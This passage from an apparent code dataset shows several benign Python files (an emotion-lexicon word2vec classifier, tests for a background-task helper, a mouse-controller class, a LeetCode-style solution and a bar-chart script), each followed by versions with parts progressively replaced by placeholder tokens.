sort=False).mean().reset_index()\n\n# Load Google's pre-trained Word2Vec model.\nprint('training the word2vec model from google\\'s corpus')\nmodel = gensim.models.Word2Vec.load_word2vec_format('../GoogleNews-vectors-negative300.bin', binary=True)\n\n# create list of word indicies to drop to avoid keyerrors with Google's pre-trained model.\nidx_to_drop = []\ndef dropper():\n for ex in affected['word']:\n if ex not in model.vocab:\n idx_to_drop.append(affected.loc[affected.word == ex].index[0])\n\n# drop words from affected that are not in google's model\ndropper()\naffected = affected.drop(idx_to_drop, axis=0)\n\nG_vectors = lambda x: model[x]\naffected['word_vectors'] = affected['word'].apply(G_vectors)\n\naffected['label_vectors'] = affected[emotions.columns].values.tolist()\n\naffected['binary'] = (affected[emotions.columns] > 0).astype(int).values.tolist()\n\ndf1 = affected[emotions.columns].rank(method='max', axis=1).rank(method='first', axis=1)\nma = df1.max().max()\naffected['label'] = (df1== ma).astype(int).values.tolist()\naffected['target'] = affected['label'].apply(lambda x: x.index(1))\nlabel_dict = {0 : 'joy',\n 1 : 'sadness',\n 2 : 'fear',\n 3 : 'anger',\n 4 : 'trust',\n 5 : 'disgust',\n 6 : 'surprise',\n 7 : 'anticipation'}\n\naffected['label_name'] = affected['target'].apply(lambda x: label_dict[x])\n\nemo2vec = affected[['word_vectors', 'label_vectors', 'binary', 'label', 'target', 'label_name']]\n\n# # Model Testing\nprint(\"splitting into train/test groups...\")\nemo_X, emo_y = list(emo2vec.word_vectors), list(emo2vec.target)\nemo_X_train, emo_X_test, emo_y_train, emo_y_test = train_test_split(emo_X, emo_y, random_state=42)\n\n\n# ### OnevsRest with LinearSVC (best score)\n\nprint(\"creating a model with the best stuff we've got...\")\nOVR = OneVsRestClassifier(LinearSVC(random_state=0), n_jobs=-1)\nemo_model = OVR.fit(emo_X_train, emo_y_train)\n", "<docstring token>\nimport pandas as pd\nimport gensim\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.svm import LinearSVC\nloc = (\n 'https://s3-us-west-1.amazonaws.com/victorsdatasets/NRCEmotionLexiconv092AnnotatorandSenseLevel.txt'\n )\nprint('loading & cleaning the data...')\nem_words = pd.read_csv(loc, sep='\\t', names=['annotator_id', 'remove',\n 'word', 'joy', 'sadness', 'fear', 'anger', 'trust', 'disgust',\n 'surprise', 'anticipation', 'POS'])\nem_words.drop('remove', axis=1, inplace=True)\nem_words['word'], em_words['synonym'] = em_words['word'].str.split('--').str\nem_words['toss1'], em_words['joy'] = em_words['joy'].str.split('-').str\nem_words['toss2'], em_words['sadness'] = em_words['sadness'].str.split('-').str\nem_words['toss3'], em_words['fear'] = em_words['fear'].str.split('-').str\nem_words['toss4'], em_words['anger'] = em_words['anger'].str.split('-').str\nem_words['toss5'], em_words['trust'] = em_words['trust'].str.split('-').str\nem_words['toss6'], em_words['disgust'] = em_words['disgust'].str.split('-').str\nem_words['toss7'], em_words['surprise'] = em_words['surprise'].str.split('-'\n ).str\nem_words['toss8'], em_words['anticipation'] = em_words['anticipation'\n ].str.split('-').str\nem_words['toss9'], em_words['POS'] = em_words['POS'].str.split('-').str\nem_words.drop(['toss1', 'toss2', 'toss3', 'toss4', 'toss5', 'toss6',\n 'toss7', 'toss8', 'toss9'], axis=1, inplace=True)\nnew_cols = ['annotator_id', 'word', 'synonym', 'joy', 'sadness', 'fear',\n 'anger', 'trust', 'disgust', 'surprise', 'anticipation', 'POS']\nem_words = em_words.reindex_axis(new_cols, axis=1)\nemotions = em_words[['joy', 'sadness', 'fear', 'anger', 'trust', 'disgust',\n 'surprise', 'anticipation']]\nem_words[emotions.columns] = em_words[emotions.columns].apply(pd.to_numeric)\naffected = em_words[emotions.columns].groupby([em_words['word']], sort=False\n ).mean().reset_index()\nprint(\"training the word2vec model from google's corpus\")\nmodel = gensim.models.Word2Vec.load_word2vec_format(\n '../GoogleNews-vectors-negative300.bin', binary=True)\nidx_to_drop = []\n\n\ndef dropper():\n for ex in affected['word']:\n if ex not in model.vocab:\n idx_to_drop.append(affected.loc[affected.word == ex].index[0])\n\n\ndropper()\naffected = affected.drop(idx_to_drop, axis=0)\nG_vectors = lambda x: model[x]\naffected['word_vectors'] = affected['word'].apply(G_vectors)\naffected['label_vectors'] = affected[emotions.columns].values.tolist()\naffected['binary'] = (affected[emotions.columns] > 0).astype(int\n ).values.tolist()\ndf1 = affected[emotions.columns].rank(method='max', axis=1).rank(method=\n 'first', axis=1)\nma = df1.max().max()\naffected['label'] = (df1 == ma).astype(int).values.tolist()\naffected['target'] = affected['label'].apply(lambda x: x.index(1))\nlabel_dict = {(0): 'joy', (1): 'sadness', (2): 'fear', (3): 'anger', (4):\n 'trust', (5): 'disgust', (6): 'surprise', (7): 'anticipation'}\naffected['label_name'] = affected['target'].apply(lambda x: label_dict[x])\nemo2vec = affected[['word_vectors', 'label_vectors', 'binary', 'label',\n 'target', 'label_name']]\nprint('splitting into train/test groups...')\nemo_X, emo_y = list(emo2vec.word_vectors), list(emo2vec.target)\nemo_X_train, emo_X_test, emo_y_train, emo_y_test = train_test_split(emo_X,\n emo_y, random_state=42)\nprint(\"creating a model with the best stuff we've got...\")\nOVR = OneVsRestClassifier(LinearSVC(random_state=0), n_jobs=-1)\nemo_model = OVR.fit(emo_X_train, emo_y_train)\n", "<docstring token>\n<import token>\nloc = (\n 'https://s3-us-west-1.amazonaws.com/victorsdatasets/NRCEmotionLexiconv092AnnotatorandSenseLevel.txt'\n )\nprint('loading & cleaning the data...')\nem_words = pd.read_csv(loc, sep='\\t', names=['annotator_id', 'remove',\n 'word', 'joy', 'sadness', 'fear', 'anger', 'trust', 'disgust',\n 'surprise', 'anticipation', 'POS'])\nem_words.drop('remove', axis=1, inplace=True)\nem_words['word'], em_words['synonym'] = em_words['word'].str.split('--').str\nem_words['toss1'], em_words['joy'] = em_words['joy'].str.split('-').str\nem_words['toss2'], em_words['sadness'] = em_words['sadness'].str.split('-').str\nem_words['toss3'], em_words['fear'] = em_words['fear'].str.split('-').str\nem_words['toss4'], em_words['anger'] = em_words['anger'].str.split('-').str\nem_words['toss5'], em_words['trust'] = em_words['trust'].str.split('-').str\nem_words['toss6'], em_words['disgust'] = em_words['disgust'].str.split('-').str\nem_words['toss7'], em_words['surprise'] = em_words['surprise'].str.split('-'\n ).str\nem_words['toss8'], em_words['anticipation'] = em_words['anticipation'\n ].str.split('-').str\nem_words['toss9'], em_words['POS'] = em_words['POS'].str.split('-').str\nem_words.drop(['toss1', 'toss2', 'toss3', 'toss4', 'toss5', 'toss6',\n 'toss7', 'toss8', 'toss9'], axis=1, inplace=True)\nnew_cols = ['annotator_id', 'word', 'synonym', 'joy', 'sadness', 'fear',\n 'anger', 'trust', 'disgust', 'surprise', 'anticipation', 'POS']\nem_words = em_words.reindex_axis(new_cols, axis=1)\nemotions = em_words[['joy', 'sadness', 'fear', 'anger', 'trust', 'disgust',\n 'surprise', 'anticipation']]\nem_words[emotions.columns] = em_words[emotions.columns].apply(pd.to_numeric)\naffected = em_words[emotions.columns].groupby([em_words['word']], sort=False\n ).mean().reset_index()\nprint(\"training the word2vec model from google's corpus\")\nmodel = gensim.models.Word2Vec.load_word2vec_format(\n '../GoogleNews-vectors-negative300.bin', binary=True)\nidx_to_drop = []\n\n\ndef dropper():\n for ex in affected['word']:\n if ex not in model.vocab:\n idx_to_drop.append(affected.loc[affected.word == ex].index[0])\n\n\ndropper()\naffected = affected.drop(idx_to_drop, axis=0)\nG_vectors = lambda x: model[x]\naffected['word_vectors'] = affected['word'].apply(G_vectors)\naffected['label_vectors'] = affected[emotions.columns].values.tolist()\naffected['binary'] = (affected[emotions.columns] > 0).astype(int\n ).values.tolist()\ndf1 = affected[emotions.columns].rank(method='max', axis=1).rank(method=\n 'first', axis=1)\nma = df1.max().max()\naffected['label'] = (df1 == ma).astype(int).values.tolist()\naffected['target'] = affected['label'].apply(lambda x: x.index(1))\nlabel_dict = {(0): 'joy', (1): 'sadness', (2): 'fear', (3): 'anger', (4):\n 'trust', (5): 'disgust', (6): 'surprise', (7): 'anticipation'}\naffected['label_name'] = affected['target'].apply(lambda x: label_dict[x])\nemo2vec = affected[['word_vectors', 'label_vectors', 'binary', 'label',\n 'target', 'label_name']]\nprint('splitting into train/test groups...')\nemo_X, emo_y = list(emo2vec.word_vectors), list(emo2vec.target)\nemo_X_train, emo_X_test, emo_y_train, emo_y_test = train_test_split(emo_X,\n emo_y, random_state=42)\nprint(\"creating a model with the best stuff we've got...\")\nOVR = OneVsRestClassifier(LinearSVC(random_state=0), n_jobs=-1)\nemo_model = OVR.fit(emo_X_train, emo_y_train)\n", "<docstring token>\n<import token>\n<assignment token>\nprint('loading & cleaning the data...')\n<assignment token>\nem_words.drop('remove', axis=1, inplace=True)\n<assignment token>\nem_words.drop(['toss1', 'toss2', 'toss3', 'toss4', 'toss5', 'toss6',\n 'toss7', 'toss8', 'toss9'], axis=1, inplace=True)\n<assignment token>\nprint(\"training the word2vec model from google's corpus\")\n<assignment token>\n\n\ndef dropper():\n for ex in affected['word']:\n if ex not in model.vocab:\n idx_to_drop.append(affected.loc[affected.word == ex].index[0])\n\n\ndropper()\n<assignment token>\nprint('splitting into train/test groups...')\n<assignment token>\nprint(\"creating a model with the best stuff we've got...\")\n<assignment token>\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef dropper():\n for ex in affected['word']:\n if ex not in model.vocab:\n idx_to_drop.append(affected.loc[affected.word == ex].index[0])\n\n\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n" ]
false
415
d2e46944ab05c5e8c1979101728b7b25900be342
import pytest from time import sleep from timeflux.helpers.background import Task class DummyWorker(): def echo(self, message='hello', delay=0, fail=False): sleep(delay) if fail: raise Exception('failed') self.message = message return(self.message) def test_default(working_path): task = Task(DummyWorker(), 'echo').start() while not task.done: status = task.status() assert status['result'] == 'hello' assert status['instance'].message == 'hello' def test_args(working_path): task = Task(DummyWorker(), 'echo', 'foobar').start() while not task.done: status = task.status() assert status['result'] == 'foobar' def test_kwargs(working_path): task = Task(DummyWorker(), 'echo', message='foobar').start() while not task.done: status = task.status() assert status['result'] == 'foobar' def test_exception(working_path): task = Task(DummyWorker(), 'echo', fail=True).start() while not task.done: status = task.status() assert status['success'] == False assert status['exception'].args[0] == 'failed' def test_stop_running(working_path): task = Task(DummyWorker(), 'echo', delay=5).start() sleep(.5) assert task.done == False task.stop() assert task.done == True def test_stop_not_running(working_path): task = Task(DummyWorker(), 'echo').start() while not task.done: status = task.status() task.stop() assert task.done == True
[ "import pytest\nfrom time import sleep\nfrom timeflux.helpers.background import Task\n\nclass DummyWorker():\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail: raise Exception('failed')\n self.message = message\n return(self.message)\n\ndef test_default(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'hello'\n assert status['instance'].message == 'hello'\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\ndef test_kwargs(working_path):\n task = Task(DummyWorker(), 'echo', message='foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\ndef test_stop_not_running(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n task.stop()\n assert task.done == True\n", "import pytest\nfrom time import sleep\nfrom timeflux.helpers.background import Task\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\ndef test_default(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'hello'\n assert status['instance'].message == 'hello'\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\ndef test_kwargs(working_path):\n task = Task(DummyWorker(), 'echo', message='foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(0.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\n\ndef test_stop_not_running(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n task.stop()\n assert task.done == True\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\ndef test_default(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'hello'\n assert status['instance'].message == 'hello'\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\ndef test_kwargs(working_path):\n task = Task(DummyWorker(), 'echo', message='foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(0.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\n\ndef test_stop_not_running(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n task.stop()\n assert task.done == True\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\ndef test_default(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'hello'\n assert status['instance'].message == 'hello'\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\n<function token>\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(0.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\n\ndef test_stop_not_running(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n task.stop()\n assert task.done == True\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\n<function token>\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\n<function token>\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(0.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\n\ndef test_stop_not_running(working_path):\n task = Task(DummyWorker(), 'echo').start()\n while not task.done:\n status = task.status()\n task.stop()\n assert task.done == True\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\n<function token>\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\n<function token>\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\ndef test_stop_running(working_path):\n task = Task(DummyWorker(), 'echo', delay=5).start()\n sleep(0.5)\n assert task.done == False\n task.stop()\n assert task.done == True\n\n\n<function token>\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\n<function token>\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\n<function token>\n\n\ndef test_exception(working_path):\n task = Task(DummyWorker(), 'echo', fail=True).start()\n while not task.done:\n status = task.status()\n assert status['success'] == False\n assert status['exception'].args[0] == 'failed'\n\n\n<function token>\n<function token>\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\n<function token>\n\n\ndef test_args(working_path):\n task = Task(DummyWorker(), 'echo', 'foobar').start()\n while not task.done:\n status = task.status()\n assert status['result'] == 'foobar'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\nclass DummyWorker:\n\n def echo(self, message='hello', delay=0, fail=False):\n sleep(delay)\n if fail:\n raise Exception('failed')\n self.message = message\n return self.message\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\nclass DummyWorker:\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
416
b2f2f1e4b7070ac867b71e538f759e527eb1ffb9
from pymouse import PyMouse m = PyMouse() w,h = m.screen_size() class base_controller: def __init__(self): pass def move(self,xy:list): ''' 移动 ''' m.move(xy[0]*w,xy[1]*h) def click(self, xy:list): ''' 点击 ''' m.click(xy[0]*w,xy[1]*h) def scroll(self, marks:list): ''' 滚动 ''' d = marks[0][1] - marks[-1][1] R = 0.2 print(d) if d > R: m.scroll(-1) elif d < -R: m.scroll(1) def press(self, xy:list, ones = True): ''' 长按 ''' if ones: m.press(xy[0]*w,xy[1]*h) else: m.drag(xy[0]*w,xy[1]*h) def release(self, xy:list): ''' 松开 ''' m.release(xy[0]*w,xy[1]*h) class mac_controller(base_controller): def __init__(self): super(mac_controller, self).__init__()
[ "from pymouse import PyMouse\nm = PyMouse()\nw,h = m.screen_size()\n\nclass base_controller:\n def __init__(self):\n pass\n\n def move(self,xy:list):\n '''\n 移动\n '''\n m.move(xy[0]*w,xy[1]*h)\n \n def click(self, xy:list):\n '''\n 点击\n '''\n m.click(xy[0]*w,xy[1]*h)\n \n def scroll(self, marks:list):\n '''\n 滚动\n '''\n d = marks[0][1] - marks[-1][1]\n R = 0.2\n print(d)\n if d > R:\n m.scroll(-1)\n elif d < -R:\n m.scroll(1)\n\n def press(self, xy:list, ones = True):\n '''\n 长按\n '''\n if ones:\n m.press(xy[0]*w,xy[1]*h)\n else:\n m.drag(xy[0]*w,xy[1]*h)\n\n def release(self, xy:list):\n '''\n 松开\n '''\n m.release(xy[0]*w,xy[1]*h)\n\n\nclass mac_controller(base_controller):\n def __init__(self):\n super(mac_controller, self).__init__()\n", "from pymouse import PyMouse\nm = PyMouse()\nw, h = m.screen_size()\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n\n def scroll(self, marks: list):\n \"\"\"\n 滚动\n \"\"\"\n d = marks[0][1] - marks[-1][1]\n R = 0.2\n print(d)\n if d > R:\n m.scroll(-1)\n elif d < -R:\n m.scroll(1)\n\n def press(self, xy: list, ones=True):\n \"\"\"\n 长按\n \"\"\"\n if ones:\n m.press(xy[0] * w, xy[1] * h)\n else:\n m.drag(xy[0] * w, xy[1] * h)\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\nm = PyMouse()\nw, h = m.screen_size()\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n\n def scroll(self, marks: list):\n \"\"\"\n 滚动\n \"\"\"\n d = marks[0][1] - marks[-1][1]\n R = 0.2\n print(d)\n if d > R:\n m.scroll(-1)\n elif d < -R:\n m.scroll(1)\n\n def press(self, xy: list, ones=True):\n \"\"\"\n 长按\n \"\"\"\n if ones:\n m.press(xy[0] * w, xy[1] * h)\n else:\n m.drag(xy[0] * w, xy[1] * h)\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n\n def scroll(self, marks: list):\n \"\"\"\n 滚动\n \"\"\"\n d = marks[0][1] - marks[-1][1]\n R = 0.2\n print(d)\n if d > R:\n m.scroll(-1)\n elif d < -R:\n m.scroll(1)\n\n def press(self, xy: list, ones=True):\n \"\"\"\n 长按\n \"\"\"\n if ones:\n m.press(xy[0] * w, xy[1] * h)\n else:\n m.drag(xy[0] * w, xy[1] * h)\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n\n def scroll(self, marks: list):\n \"\"\"\n 滚动\n \"\"\"\n d = marks[0][1] - marks[-1][1]\n R = 0.2\n print(d)\n if d > R:\n m.scroll(-1)\n elif d < -R:\n m.scroll(1)\n <function token>\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n <function token>\n <function token>\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n <function token>\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n <function token>\n <function token>\n\n def release(self, xy: list):\n \"\"\"\n 松开\n \"\"\"\n m.release(xy[0] * w, xy[1] * h)\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n <function token>\n\n def click(self, xy: list):\n \"\"\"\n 点击\n \"\"\"\n m.click(xy[0] * w, xy[1] * h)\n <function token>\n <function token>\n <function token>\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n\n def __init__(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n\n\nclass base_controller:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass mac_controller(base_controller):\n\n def __init__(self):\n super(mac_controller, self).__init__()\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass mac_controller(base_controller):\n <function token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n" ]
false
417
ec9efeca7eef7b8ee25c1e089e675bdb1e53413b
# -*- coding:utf-8 -*- # Author: washing # DateTime: 2022/5/18 10:28 # File: 0668.py # Desc: CV class Solution: def findKthNumber(self, m: int, n: int, k: int) -> int: return bisect_left(range(m * n), k, key=lambda x: x // n * n + sum(x // i for i in range(x // n + 1, m + 1)))
[ "# -*- coding:utf-8 -*-\r\n# Author: washing\r\n# DateTime: 2022/5/18 10:28\r\n# File: 0668.py\r\n# Desc: CV\r\n\r\nclass Solution:\r\n def findKthNumber(self, m: int, n: int, k: int) -> int:\r\n return bisect_left(range(m * n), k, key=lambda x: x // n * n + sum(x // i for i in range(x // n + 1, m + 1)))\r\n\r\n\r\n\r\n", "class Solution:\n\n def findKthNumber(self, m: int, n: int, k: int) ->int:\n return bisect_left(range(m * n), k, key=lambda x: x // n * n + sum(\n x // i for i in range(x // n + 1, m + 1)))\n", "class Solution:\n <function token>\n", "<class token>\n" ]
false
418
13342922022f0a0e8928c81c1c4716125af0b2c4
import matplotlib.pyplot as plt import numpy as np plt.rcParams['savefig.dpi'] = 300 #图片像素 plt.rcParams['figure.dpi'] = 300 #分辨率 plt.rcParams['font.sans-serif']=['SimHei'] plt.rcParams['axes.unicode_minus'] = False x_axis = [20,40,60,80,100] rf = [184,174,166,159,157.5] anns = [186,179,170,164,161] adaboost = [187.5,176,172,163,162] x = np.arange(len(x_axis)) #首先用第一个的长度作为横坐标 width = 0.2 #设置柱与柱之间的宽度 fig,ax = plt.subplots() p_rf = ax.bar(x-width,rf,width,alpha = 0.9,) p_anns = ax.bar(x,anns,width,alpha = 0.9,color= 'red') p_adaboost = ax.bar(x+width,adaboost,width,alpha = 0.9,color= 'green') ax.set_xticks(x +width/2)#将坐标设置在指定位置 ax.set_xticklabels(x_axis)#将横坐标替换成 plt.legend((p_rf[0],p_anns[0],p_adaboost[0]),('RF','ANNs','AdaBoost'),loc='best',fontsize=20) plt.xticks(fontsize=18) plt.yticks(fontsize=18) plt.ylim(150,200) # 指定Y轴的高度 plt.xlabel('训练集大小(%)',fontsize=20) plt.ylabel('MAE(s)',fontsize=20) plt.show() #plt.savefig('MAE.png', dpi=3600)
[ "import matplotlib.pyplot as plt\nimport numpy as np\nplt.rcParams['savefig.dpi'] = 300 #图片像素\nplt.rcParams['figure.dpi'] = 300 #分辨率\nplt.rcParams['font.sans-serif']=['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nx_axis = [20,40,60,80,100]\n\nrf = [184,174,166,159,157.5]\nanns = [186,179,170,164,161]\nadaboost = [187.5,176,172,163,162]\n\n\nx = np.arange(len(x_axis)) #首先用第一个的长度作为横坐标\nwidth = 0.2 #设置柱与柱之间的宽度\nfig,ax = plt.subplots()\np_rf = ax.bar(x-width,rf,width,alpha = 0.9,)\np_anns = ax.bar(x,anns,width,alpha = 0.9,color= 'red')\np_adaboost = ax.bar(x+width,adaboost,width,alpha = 0.9,color= 'green')\nax.set_xticks(x +width/2)#将坐标设置在指定位置\nax.set_xticklabels(x_axis)#将横坐标替换成\nplt.legend((p_rf[0],p_anns[0],p_adaboost[0]),('RF','ANNs','AdaBoost'),loc='best',fontsize=20)\nplt.xticks(fontsize=18)\nplt.yticks(fontsize=18)\nplt.ylim(150,200) # 指定Y轴的高度\nplt.xlabel('训练集大小(%)',fontsize=20)\nplt.ylabel('MAE(s)',fontsize=20)\nplt.show()\n#plt.savefig('MAE.png', dpi=3600)", "import matplotlib.pyplot as plt\nimport numpy as np\nplt.rcParams['savefig.dpi'] = 300\nplt.rcParams['figure.dpi'] = 300\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nx_axis = [20, 40, 60, 80, 100]\nrf = [184, 174, 166, 159, 157.5]\nanns = [186, 179, 170, 164, 161]\nadaboost = [187.5, 176, 172, 163, 162]\nx = np.arange(len(x_axis))\nwidth = 0.2\nfig, ax = plt.subplots()\np_rf = ax.bar(x - width, rf, width, 